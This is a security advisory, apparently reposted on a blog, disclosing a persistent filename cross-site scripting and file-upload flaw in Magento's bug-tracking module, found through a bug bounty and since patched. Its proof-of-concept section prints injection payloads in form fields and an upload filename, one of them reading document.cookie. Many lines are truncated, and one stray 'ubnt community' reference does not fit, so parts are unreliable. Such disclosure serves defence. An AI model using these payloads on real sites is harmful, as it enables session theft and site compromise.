===============
Magento Bug Bounty #19 - Persistent Filename Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
ID: APPSEC-1059
Release Date:
=============
2015-09-11
Vulnerability Laboratory ID (VL-ID):
==============================
1570
Common Vulnerability Scoring System:
==============================
3.9
Product & Service Introduction:
==============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side file input validation web vulnerability in the official Magento Commerce online service web-application.
Vulnerability Disclosure Timeline:
==============================
2015-08-13: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)
2015-08-14: Vendor Notification (Magento Security Team - Bug Bounty Program)
2015-08-22: Vendor Response/Feedback (Magento Security Team - Bug Bounty Program)
2015-09-05: Vendor Fix/Patch (Magento Developer Team)
2015-09-10: Bug Bounty Reward (Magento Security Team - Bug Bounty Program)
2015-09-11: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
An application-side web vulnerability has been discovered in the official Magento Commerce online service web-application.
The vulnerability allows an remote attacker to inject own script code to the application-side of the affected application module.
The web vulnerability is located in the `filename and files` value of the `/products/bug-tracking/
Remote attackers are able to inject own files with malicious `files & filename` value via `upload` POST method request to
compromise the magento commerce web-application. Remote attackers are also able to exploit the filename issue in combination
with persistent injected script codes to execute different malicious attack requests. The attack vector is located on the
application-side of the magento service and the request method to inject is POST. The issue is remotly exploitable after
approval with two test accounts. The sender and receiver of the ticket is affected by the issue itself. Another issue is that
the filename upload has no secure restriction of the name value. Thus can result in upload of multiple malicious file extensions
to remotly elevate user privileges by malicious interaction. (arbitrary file upload - multiple extensions)
The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the application-side validation web vulnerability requires no user interaction and only a low privileged web-application user account.
Successful exploitation of the security vulnerability results in the ubnt community web-application compromise.
Request Method(s):
[+] [POST]
Vulnerable Domain(s):
[+] www.magentocommerce.com
Vulnerable Module(s):
[+] /products/bug-tracking/report/
Vulnerable Parameter(s):
[+] filename
[+] files
Affected Module(s):
[+] /saveIssue/
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privilege application user account and only low user interaction (click).
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Login in magento website
2. Go to http://www.magentocommerce.
3. Create to Report an Issues
4. Upload a file with a payload script code (code injection) as filename via POST
5. Report the issue and the payload code will execute
6. Successful reproduce of the remote vulnerability in the filename value!
PoC: Source
<tr>
<td class="light" valign="top">Attachments:</td>
<td colspan="3" class="desc">
<a href="http://www.
"><iframe src="Magento%20-%20Issue%20%
.png </a>
<small>(5281)</small><br />
</td>
</tr>
</table>
<br/><br/>
<!-- Starts user-comment-->
<div class="user-comment">
<form id="comment_form"
action="http://www.
enctype="multipart/form-data" method="post">
<div class="comment-respond">
<h4 id="respond">Leave your comments</h4>
<label for="message">Talk back! <span
class="required">*</span></
<div class="clear"></div>
<a href="javascript:void(0);" id="upload"
style="font-weight:bold;">
<div class="clear"></div>
<div style="padding-top:18px; display:none;
float:left;" id="filesUpload">
<p class="filebox"><label
for="file1">File 1</label>
<input style="width:200px;" type="file"
name="files[]" id="file1"></p>
<p class="filebox"><label
for="file2">File 2</label>
<input style="width:200px;" type="file"
name="files[]" id="file2"></p>
<p class="filebox"><label
for="file3">File 3</label>
<input style="width:200px;" type="file"
name="files[]" id="file3"></p>
<p class="filebox"><label
for="file4">File 4</label>
<input style="width:200px;" type="file"
name="files[]" id="file4"></p>
<p class="filebox"><label
for="file5">File 5</label>
<input style="width:200px;" type="file"
name="files[]" id="file5"></p>
</div>
<div class="clear"></div>
<textarea class="required-entry" name="message"
id="message" cols="" rows="10" tabindex="4"
style="width:630px;"></
<input type="hidden" id="id" name="id" value="976"
/>
<p class="a-right"
style="margin-top:5px;"><
id="submit" tabindex="5" name="submit">Submit
Comment</button></p>
</div>
</form>
</div>
--- PoC Session Logs [POST] ---
POST http://www.magentocommerce.
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[text/html]
Request Headers:
Host[www.magentocommerce.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[text/html,application/
Accept-Language[en-US,en;q=0.
Accept-Encoding[gzip, deflate]
Referer[http://www.
Cookie[optimizelySegments=%7B%
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Post Data:
POST_DATA[--------------------
Content-Disposition: form-data; name="title"
admin "><iframe src="javascript:alert('samir')
-----------------------------
Content-Disposition: form-data; name="type"
1
-----------------------------
Content-Disposition: form-data; name="version"
17340
-----------------------------
Content-Disposition: form-data; name="description"
-----------------------------
Content-Disposition: form-data; name="steps"
admin "><iframe src="javascript:alert('samir')
-----------------------------
Content-Disposition: form-data; name="files[]"; filename="\"><[PERSISTENT INJECTED SCRIPT CODE!]iframe src="x" onload=alert(document.cookie)> .png"
Content-Type: image/png
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable files and filename values in the send POST method request.
Restrict the input disallow special chars and setup an own exception that prevents multiple extensions in filenames on upload to block arbitrary file execution.
Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the magento commerce application is estimated as medium. (CVSS 3.9)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/
Feeds: vulnerability-lab.com/rss/rss.
Programs: vulnerability-lab.com/submit.
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
Komentarų nėra:
Rašyti komentarą